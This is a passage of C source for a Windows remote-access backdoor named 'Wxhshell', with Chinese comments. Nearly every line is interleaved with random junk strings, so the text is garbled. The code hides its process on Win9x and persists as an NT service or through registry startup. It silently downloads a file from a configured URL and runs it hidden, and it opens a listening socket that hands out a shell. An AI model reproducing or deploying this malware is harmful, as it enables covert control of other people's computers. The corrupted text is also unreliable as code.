9Mwj:)} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3S2'JOTY if(hProcess==NULL) return 0; i+cGw o-'i)pp HMODULE hMod; /~tfP char procName[255]; 6k3l/ ~R unsigned long cbNeeded; ;<X3AhF '}YXpB if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K
:q-[\G 2RXGY CloseHandle(hProcess); K((Kd&E quUJ%F if(strstr(procName,"services")) return 1; // 以服务启动 ti#sh{t ;^8^L'7cr return 0; // 注册表启动 h+^T);h};| } n0i&P9@B1 &{=~)>h // 主模块 0j/81Y}p int StartWxhshell(LPSTR lpCmdLine) xNqQbkF { h'fD3Gr& SOCKET wsl; Sf'5/9<DW+ BOOL val=TRUE; w+$gY?% int port=0; A>g$[ struct sockaddr_in door; |uZ=S]V@ V=*J9~K if(wscfg.ws_autoins) Install(); O`0$pn x[^A9 port=atoi(lpCmdLine); 4K;j:ZJ"x ry]7$MQyV if(port<=0) port=wscfg.ws_port; G-(c+6Mn )?bb]hZg?O WSADATA data; IP;@unBl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t(rU6miN G-^ccdT if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; W=\dsdnu* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yl 8v&e{ door.sin_family = AF_INET; 4F4u1r+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); .M{[J]H`t door.sin_port = htons(port); .XB] X rlIEch^wZ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pOYtN1uN| closesocket(wsl); YPy))>Q>cK return 1; hw'2q9J| }
E$>e<
T @ty|HXW if(listen(wsl,2) == INVALID_SOCKET) { rpT<cCem1 closesocket(wsl); FVmg&[
. return 1; C|J1x4sb@ } 85{vz|(': Wxhshell(wsl); S+y2eP G WSACleanup(); 9h(hx7] dJ^`9W return 0; G0Eq}MyF Yc V~S#b } =|%T E W7o/
// 以NT服务方式启动 qU
n> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ui{_w @o { ">9CN$]J DWORD status = 0; y4L9Cxvs DWORD specificError = 0xfffffff; NFc8"7Mz} "\[>@_p h serviceStatus.dwServiceType = SERVICE_WIN32; Mv=cLG?X serviceStatus.dwCurrentState = SERVICE_START_PENDING; S%fBt?-Cm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cj<@~[uw serviceStatus.dwWin32ExitCode = 0; y)E2=JQA/ serviceStatus.dwServiceSpecificExitCode = 0; dSZ#,Ea" serviceStatus.dwCheckPoint = 0; j[`?`RyU serviceStatus.dwWaitHint = 0; -*M:OF"Zh [AzN&yACE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fNJ;{ if (hServiceStatusHandle==0) return; %4Zy1{yKs_ fdG.=7` status = GetLastError(); 6I#DlAU@v if (status!=NO_ERROR) $IT9@}*{ { ?63JQ.; serviceStatus.dwCurrentState = SERVICE_STOPPED; uP]o39b;V serviceStatus.dwCheckPoint = 0; rfi`Bp serviceStatus.dwWaitHint = 0; A%2}?Ds serviceStatus.dwWin32ExitCode = status; uCfp+ serviceStatus.dwServiceSpecificExitCode = specificError; ;/T-rVND SetServiceStatus(hServiceStatusHandle, &serviceStatus); j2M(W/_ return; rtx]dc1m } Ohag%<1# #Vigu,zY serviceStatus.dwCurrentState = SERVICE_RUNNING; hFfaaB serviceStatus.dwCheckPoint = 0; KgWT&^t serviceStatus.dwWaitHint = 0; p ri{vveN@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =3C)sz} } V^+:U>$w 'e64%t // 处理NT服务事件,比如:启动、停止 ~(/HgFLLu VOID WINAPI NTServiceHandler(DWORD fdwControl) Ds_
"m, {
m5aaY switch(fdwControl) ?\M6P?tpo& { zpqNmxmF case SERVICE_CONTROL_STOP: ]!aa#?Fc serviceStatus.dwWin32ExitCode = 0; vqi$}=%n?W serviceStatus.dwCurrentState = SERVICE_STOPPED; 9nS! serviceStatus.dwCheckPoint = 0; <SZO-
-+lB serviceStatus.dwWaitHint = 0; SqF.DB~ { !gHWYWu)! SetServiceStatus(hServiceStatusHandle, &serviceStatus); (v:ek_ } !F#aodM1N return; qjzW9yV+ case SERVICE_CONTROL_PAUSE: wP0+Xv, serviceStatus.dwCurrentState = SERVICE_PAUSED; Q5n :f+ break; TF-Ty case SERVICE_CONTROL_CONTINUE: So.P @CCd serviceStatus.dwCurrentState = SERVICE_RUNNING; jY+S,lD break; ,GU/l)os` case SERVICE_CONTROL_INTERROGATE: ]UT|BE4v break; gCr|e}w- }; L_K\i? SetServiceStatus(hServiceStatusHandle, &serviceStatus); lY*]&8/= } O:tX0<6 r Ob"S* // 标准应用程序主函数 :yjK*"T|OD int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZCFf@2&z8 { /&as) rE `}?d // 获取操作系统版本 E0^%|Mh]b OsIsNt=GetOsVer(); dHF$T33It GetModuleFileName(NULL,ExeFile,MAX_PATH); 3,L3C9V' u7P+^A97L_ // 从命令行安装 cNlY=L if(strpbrk(lpCmdLine,"iI")) Install(); uo'31V0 S5u#g`I] // 下载执行文件 /NX7Vev if(wscfg.ws_downexe) { `{lAhZ5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Guw|00w,Q$ WinExec(wscfg.ws_filenam,SW_HIDE); OrEuQ-,i@ } k5;Vl0Ho q,+kPhHEgy if(!OsIsNt) { t`YZ)>Ws // 如果时win9x,隐藏进程并且设置为注册表启动 aC~n:0v HideProc(); F*JvpI[7n StartWxhshell(lpCmdLine); (2bZ] } !aw#',r8m else ]'!xc9KGR if(StartFromService()) i(yAmo9h // 以服务方式启动 FEZ"\|I| StartServiceCtrlDispatcher(DispatchTable); 5YI/Ec else F0'A/T'ht // 普通方式启动 9Jy2T/l StartWxhshell(lpCmdLine); L@n6N|[_ I,4- return 0; R =9~*9 }
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